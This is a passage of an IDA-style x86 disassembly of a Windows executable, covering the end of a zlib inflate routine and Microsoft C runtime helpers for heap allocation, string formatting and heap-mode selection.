		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_34]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_14]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	eax, 1
		jmp	loc_4C85C0
; ---------------------------------------------------------------------------


loc_4C846A:				; CODE XREF: sub_4C7E30+59Aj
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code"
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+4]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_28]
		shr	ecx, 3
		cmp	ecx, [ebp+var_14]
		jnb	short loc_4C8496
		mov	edx, [ebp+var_28]
		shr	edx, 3
		mov	[ebp+var_44], edx
		jmp	short loc_4C849C
; ---------------------------------------------------------------------------


loc_4C8496:				; CODE XREF: sub_4C7E30+659j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_44], eax


loc_4C849C:				; CODE XREF: sub_4C7E30+664j
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_34]
		add	edx, [ebp+var_14]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_14]
		shl	ecx, 3
		mov	edx, [ebp+var_28]
		sub	edx, ecx
		mov	[ebp+var_28], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_10]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_28]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_34]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_14]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, 0FFFFFFFDh
		jmp	loc_4C85C0
; ---------------------------------------------------------------------------


loc_4C850E:				; CODE XREF: sub_4C7E30:loc_4C83BDj
		mov	eax, 1
		test	eax, eax
		jnz	loc_4C7F44


loc_4C851B:				; CODE XREF: sub_4C7E30+10Fj
					; sub_4C7E30:loc_4C8337j ...
		cmp	[ebp+var_2C], 102h
		jb	short loc_4C852E
		cmp	[ebp+var_34], 0Ah
		jnb	loc_4C7EAA


loc_4C852E:				; CODE XREF: sub_4C7E30+6F2j
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx+4]
		sub	edx, [ebp+var_34]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_28]
		shr	eax, 3
		cmp	eax, [ebp+var_14]
		jnb	short loc_4C8550
		mov	ecx, [ebp+var_28]
		shr	ecx, 3
		mov	[ebp+var_48], ecx
		jmp	short loc_4C8556
; ---------------------------------------------------------------------------


loc_4C8550:				; CODE XREF: sub_4C7E30+713j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_48], edx


loc_4C8556:				; CODE XREF: sub_4C7E30+71Ej
		mov	eax, [ebp+var_48]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_34]
		add	ecx, [ebp+var_14]
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_14]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_14]
		shl	eax, 3
		mov	ecx, [ebp+var_28]
		sub	ecx, eax
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_10]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ebp+var_28]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_34]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_14]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_14]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		xor	eax, eax


loc_4C85C0:				; CODE XREF: sub_4C7E30+4F5j
					; sub_4C7E30+635j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4C7E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4C85C4	proc near		; CODE XREF: sub_4B3AFF+1AAp
					; sub_4B3AFF+233p ...
		jmp	dword_4ED270
sub_4C85C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4C85CA	proc near		; CODE XREF: sub_4B40C4+440p
		jmp	dword_4ED238
sub_4C85CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4C85D0	proc near		; CODE XREF: sub_4B40C4+3B1p
		jmp	dword_4ED234
sub_4C85D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4C85D6	proc near		; CODE XREF: .text:0048D07Bp
					; sub_48D2A6+E4p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4CA2FB
		pop	ecx
		retn
sub_4C85D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4C85E1	proc near		; CODE XREF: .text:0048D00Ap
					; sub_48D2A6+Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	__nh_malloc_0
		pop	ecx
		pop	ecx
		retn
sub_4C85E1	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_2. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe_0.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat_0. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _wcschr. PRESS KEYPAD "+"	TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION _wcscpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000040 BYTES: COLLAPSED FUNCTION _wcsrchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000007B BYTES: COLLAPSED FUNCTION _strlen_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy_0. PRESS	KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen_0. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION _wcsncpy.	PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit_0. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit_0. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit_0.	PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit_0. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm_0. PRESS KEYPAD "+" TO	EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _sprintf_0. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4C935C	proc near		; CODE XREF: .text:004B56D2p
					; .text:004B5DCDp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, dword_4F4A20
		mov	dword_4F4A20, ecx
		retn
sub_4C935C	endp

; [0000001B BYTES: COLLAPSED FUNCTION __callnewh_0. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2_0. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination_0.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1_0:
		push	ebx
		push	ecx
		mov	ebx, offset dword_4EF280
		jmp	short loc_4C9468
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_19:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2_0
		add	esp, 8
		pop	ebp
		retn	4
; [0000008B BYTES: COLLAPSED FUNCTION _atol_0. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4C95E3(char *Str)

sub_4C95E3	proc near		; CODE XREF: WinMain(x,x,x,x)+150p

Str		= dword	ptr  4

		push	[esp+Str]	; Str
		call	_atol_0
		pop	ecx
		retn
sub_4C95E3	endp

; [00000028 BYTES: COLLAPSED FUNCTION _isdigit.	PRESS KEYPAD "+" TO EXPAND]
; [000000DC BYTES: COLLAPSED FUNCTION _time_0. PRESS KEYPAD "+"	TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION _vsprintf. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4C9743	proc near		; CODE XREF: .text:004BE4C8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0
		push	[esp+4+arg_C]
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_4C975E
		add	esp, 14h
		retn
sub_4C9743	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C975E	proc near		; CODE XREF: sub_4C9743+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_10]
		mov	[ebp+var_4], eax
		test	ebx, ebx
		jnz	short loc_4C9776
		mov	ebx, off_4EF290


loc_4C9776:				; CODE XREF: sub_4C975E+10j
		test	eax, eax
		jbe	loc_4C9809
		push	esi
		mov	esi, [ebp+arg_8]


loc_4C9782:				; CODE XREF: sub_4C975E+94j
		mov	al, [esi]
		test	al, al
		jz	short loc_4C97F4
		cmp	al, 25h
		jz	short loc_4C97BE
		mov	edx, off_4EF354
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4C97AE
		cmp	[ebp+var_4], 1
		jbe	short loc_4C97AE
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		inc	[ebp+arg_0]
		inc	esi
		dec	[ebp+var_4]


loc_4C97AE:				; CODE XREF: sub_4C975E+3Cj
					; sub_4C975E+42j
		mov	ecx, [ebp+arg_0]
		mov	al, [esi]
		mov	[ecx], al
		inc	[ebp+arg_0]
		inc	esi
		dec	[ebp+var_4]
		jmp	short loc_4C97EE
; ---------------------------------------------------------------------------


loc_4C97BE:				; CODE XREF: sub_4C975E+2Cj
		and	dword_4F6028, 0
		inc	esi
		cmp	byte ptr [esi],	23h
		jnz	short loc_4C97D6
		mov	dword_4F6028, 1
		inc	esi


loc_4C97D6:				; CODE XREF: sub_4C975E+6Bj
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	al, [esi]
		push	[ebp+arg_C]
		push	eax
		call	__expandtime
		add	esp, 14h
		inc	esi


loc_4C97EE:				; CODE XREF: sub_4C975E+5Ej
		cmp	[ebp+var_4], 0
		ja	short loc_4C9782


loc_4C97F4:				; CODE XREF: sub_4C975E+28j
		cmp	[ebp+var_4], 0
		pop	esi
		jbe	short loc_4C9809
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		jmp	short loc_4C980B
; ---------------------------------------------------------------------------


loc_4C9809:				; CODE XREF: sub_4C975E+1Aj
					; sub_4C975E+9Bj
		xor	eax, eax


loc_4C980B:				; CODE XREF: sub_4C975E+A9j
		pop	ebx
		leave
		retn
sub_4C975E	endp

; [000003EF BYTES: COLLAPSED FUNCTION __expandtime. PRESS KEYPAD "+" TO	EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __store_str. PRESS KEYPAD	"+" TO EXPAND]
; [0000006F BYTES: COLLAPSED FUNCTION __store_num. PRESS KEYPAD	"+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __store_number. PRESS KEYPAD "+" TO EXPAND]
; [000002CF BYTES: COLLAPSED FUNCTION __store_winword. PRESS KEYPAD "+"	TO EXPAND]
; [00000160 BYTES: COLLAPSED FUNCTION _localtime. PRESS	KEYPAD "+" TO EXPAND]
; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	__XcptFilter_0
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	__exit_0
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit_0. PRESS KEYPAD "+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit_0. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4CA24A(size_t	Size,int)

sub_4CA24A	proc near		; CODE XREF: sub_4C169E+1Fp
					; ___initstdio_0+22p ...

Size		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+Size]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+Size], esi
		ja	short loc_4CA26B
		test	esi, esi
		jnz	short loc_4CA265
		push	1
		pop	esi


loc_4CA265:				; CODE XREF: sub_4CA24A+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4CA26B:				; CODE XREF: sub_4CA24A+12j
					; sub_4CA24A+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4CA2CA
		mov	eax, dword_4F5F04
		cmp	eax, 3
		jnz	short loc_4CA296
		mov	eax, [ebp+Size]
		cmp	eax, dword_4F5EFC
		ja	short loc_4CA2B5
		push	eax
		call	___sbh_alloc_block_0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4CA2E0
		jmp	short loc_4CA2B5
; ---------------------------------------------------------------------------


loc_4CA296:				; CODE XREF: sub_4CA24A+30j
		cmp	eax, 2
		jnz	short loc_4CA2B5
		cmp	esi, dword_4F177C
		ja	short loc_4CA2B5
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_4CCEF1
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4CA2F4


loc_4CA2B5:				; CODE XREF: sub_4CA24A+3Bj
					; sub_4CA24A+4Aj ...
		push	esi
		push	8
		push	dword_4F5F00
		call	dword_4ED18C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4CA2EE


loc_4CA2CA:				; CODE XREF: sub_4CA24A+26j
		cmp	dword_4F4C44, 0
		jz	short loc_4CA2EE
		push	esi
		call	__callnewh_0
		test	eax, eax
		pop	ecx
		jz	short loc_4CA2F7
		jmp	short loc_4CA26B
; ---------------------------------------------------------------------------


loc_4CA2E0:				; CODE XREF: sub_4CA24A+48j
		push	[ebp+Size]	; Size


loc_4CA2E3:				; CODE XREF: sub_4CA24A+ABj
		push	0		; Val
		push	edi		; Dst
		call	_memset_0
		add	esp, 0Ch


loc_4CA2EE:				; CODE XREF: sub_4CA24A+7Ej
					; sub_4CA24A+87j
		mov	eax, edi


loc_4CA2F0:				; CODE XREF: sub_4CA24A+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4CA2F4:				; CODE XREF: sub_4CA24A+69j
		push	esi
		jmp	short loc_4CA2E3
; ---------------------------------------------------------------------------


loc_4CA2F7:				; CODE XREF: sub_4CA24A+92j
		xor	eax, eax
		jmp	short loc_4CA2F0
sub_4CA24A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CA2FB	proc near		; CODE XREF: sub_4C16C7+7p
					; sub_4C85D6+4p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_4CA361
		mov	eax, dword_4F5F04
		cmp	eax, 3
		jnz	short loc_4CA327
		push	esi
		call	___sbh_find_block_0
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_4CA353
		push	eax
		call	sub_4CC125
		pop	ecx
		pop	ecx
		jmp	short loc_4CA361
; ---------------------------------------------------------------------------


loc_4CA327:				; CODE XREF: sub_4CA2FB+14j
		cmp	eax, 2
		jnz	short loc_4CA352
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_4CCE55
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4CA352
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_4CCEAC
		add	esp, 0Ch
		jmp	short loc_4CA361
; ---------------------------------------------------------------------------


loc_4CA352:				; CODE XREF: sub_4CA2FB+2Fj
					; sub_4CA2FB+44j
		push	esi


loc_4CA353:				; CODE XREF: sub_4CA2FB+20j
		push	0
		push	dword_4F5F00
		call	dword_4ED188	; RtlFreeHeap


loc_4CA361:				; CODE XREF: sub_4CA2FB+Aj
					; sub_4CA2FB+2Aj ...
		pop	esi
		leave
		retn
sub_4CA2FB	endp

; [00000012 BYTES: COLLAPSED FUNCTION _malloc_0. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc_0. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4CA3A2	proc near		; CODE XREF: __nh_malloc_0+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4F5F04
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_4CA3C6
		cmp	esi, dword_4F5EFC
		ja	short loc_4CA3F8
		push	esi
		call	___sbh_alloc_block_0
		test	eax, eax
		pop	ecx
		jz	short loc_4CA3F8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4CA3C6:				; CODE XREF: sub_4CA3A2+Dj
		cmp	eax, 2
		jnz	short loc_4CA3F8
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4CA3DB
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_4CA3DE
; ---------------------------------------------------------------------------


loc_4CA3DB:				; CODE XREF: sub_4CA3A2+2Fj
		push	10h
		pop	esi


loc_4CA3DE:				; CODE XREF: sub_4CA3A2+37j
		cmp	esi, dword_4F177C
		ja	short loc_4CA405
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_4CCEF1
		test	eax, eax
		pop	ecx
		jnz	short loc_4CA414
		jmp	short loc_4CA405
; ---------------------------------------------------------------------------


loc_4CA3F8:				; CODE XREF: sub_4CA3A2+15j
					; sub_4CA3A2+20j ...
		test	esi, esi
		jnz	short loc_4CA3FF
		push	1
		pop	esi


loc_4CA3FF:				; CODE XREF: sub_4CA3A2+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4CA405:				; CODE XREF: sub_4CA3A2+42j
					; sub_4CA3A2+54j
		push	esi
		push	0
		push	dword_4F5F00
		call	dword_4ED18C	; RtlAllocateHeap


loc_4CA414:				; CODE XREF: sub_4CA3A2+52j
		pop	esi
		retn
sub_4CA3A2	endp

; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf_0. PRESS	KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output_0. PRESS	KEYPAD "+" TO EXPAND]
off_4CAC4C	dd offset $NORMAL_STATE$1535_0 ; DATA XREF: __output_0+6Er
		dd offset loc_4CA5A0	; jump table for switch	statement
		dd offset loc_4CA5BB
		dd offset loc_4CA607
		dd offset loc_4CA63E
		dd offset loc_4CA646
		dd offset loc_4CA67B
		dd offset loc_4CA70E
; [00000035 BYTES: COLLAPSED FUNCTION _write_char_0. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char_0. PRESS KEYPAD	"+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string_0. PRESS KEYPAD "+"	TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg_0. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg_0.	PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg_0.	PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype_0. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

__allmul_0:
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_4CADC9
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4CADC9:				; CODE XREF: .text:004CADBEj
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t_0.	PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION ___tzset_0. PRESS	KEYPAD "+" TO EXPAND]
; [0000025E BYTES: COLLAPSED FUNCTION __tzset_0. PRESS KEYPAD "+" TO EXPAND]
; [000001AC BYTES: COLLAPSED FUNCTION __isindst_0. PRESS KEYPAD	"+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_20. PRESS	KEYPAD "+" TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION _gmtime. PRESS KEYPAD "+"	TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter_0. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup_0. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln_0. PRESS KEYPAD "+" TO	EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp_0. PRESS KEYPAD	"+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv_0. PRESS KEYPAD	"+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline_0.	PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA_0. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit_0. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4CBD54	proc near		; CODE XREF: sub_4CBD81+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_4ED050	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_4CBD7F
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_4CBD7F
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_4CBD7F:				; CODE XREF: sub_4CBD54+15j
					; sub_4CBD54+1Cj
		pop	esi
		retn
sub_4CBD54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CBD81	proc near		; CODE XREF: sub_4CBEC9+20p

Str2		= byte ptr -122Ch
SubStr		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	__alloca_probe_0
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_4ED1B0	; GetVersionExA
		test	eax, eax
		jz	short loc_4CBDC4
		cmp	[ebp+var_88], 2
		jnz	short loc_4CBDC4
		cmp	[ebp+var_94], 5
		jb	short loc_4CBDC4
		push	1
		pop	eax
		jmp	loc_4CBEC6
; ---------------------------------------------------------------------------


loc_4CBDC4:				; CODE XREF: sub_4CBD81+27j
					; sub_4CBD81+30j ...
		lea	eax, [ebp+Str2]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4ED068	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_4CBEB3
		xor	ebx, ebx
		lea	ecx, [ebp+Str2]
		cmp	[ebp+Str2], bl
		jz	short loc_4CBE06


loc_4CBDF3:				; CODE XREF: sub_4CBD81+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_4CBE01
		cmp	al, 7Ah
		jg	short loc_4CBE01
		sub	al, 20h
		mov	[ecx], al


loc_4CBE01:				; CODE XREF: sub_4CBD81+76j
					; sub_4CBD81+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_4CBDF3


loc_4CBE06:				; CODE XREF: sub_4CBD81+70j
		lea	eax, [ebp+Str2]
		push	16h		; MaxCount
		push	eax		; Str2
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	_strncmp_0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4CBE28
		lea	eax, [ebp+Str2]
		jmp	short loc_4CBE71
; ---------------------------------------------------------------------------


loc_4CBE28:				; CODE XREF: sub_4CBD81+9Dj
		lea	eax, [ebp+SubStr]
		push	104h
		push	eax
		push	ebx
		call	dword_4ED1C4	; GetModuleFileNameA
		cmp	[ebp+SubStr], bl
		lea	ecx, [ebp+SubStr]
		jz	short loc_4CBE5C


loc_4CBE49:				; CODE XREF: sub_4CBD81+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_4CBE57
		cmp	al, 7Ah
		jg	short loc_4CBE57
		sub	al, 20h
		mov	[ecx], al


loc_4CBE57:				; CODE XREF: sub_4CBD81+CCj
					; sub_4CBD81+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_4CBE49


loc_4CBE5C:				; CODE XREF: sub_4CBD81+C6j
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+Str2]
		push	eax		; Str
		call	_strstr_0
		pop	ecx
		pop	ecx


loc_4CBE71:				; CODE XREF: sub_4CBD81+A5j
		cmp	eax, ebx
		jz	short loc_4CBEB3
		push	2Ch		; Val
		push	eax		; Str
		call	_strchr_0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4CBEB3
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_4CBE98


loc_4CBE8A:				; CODE XREF: sub_4CBD81+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_4CBE93
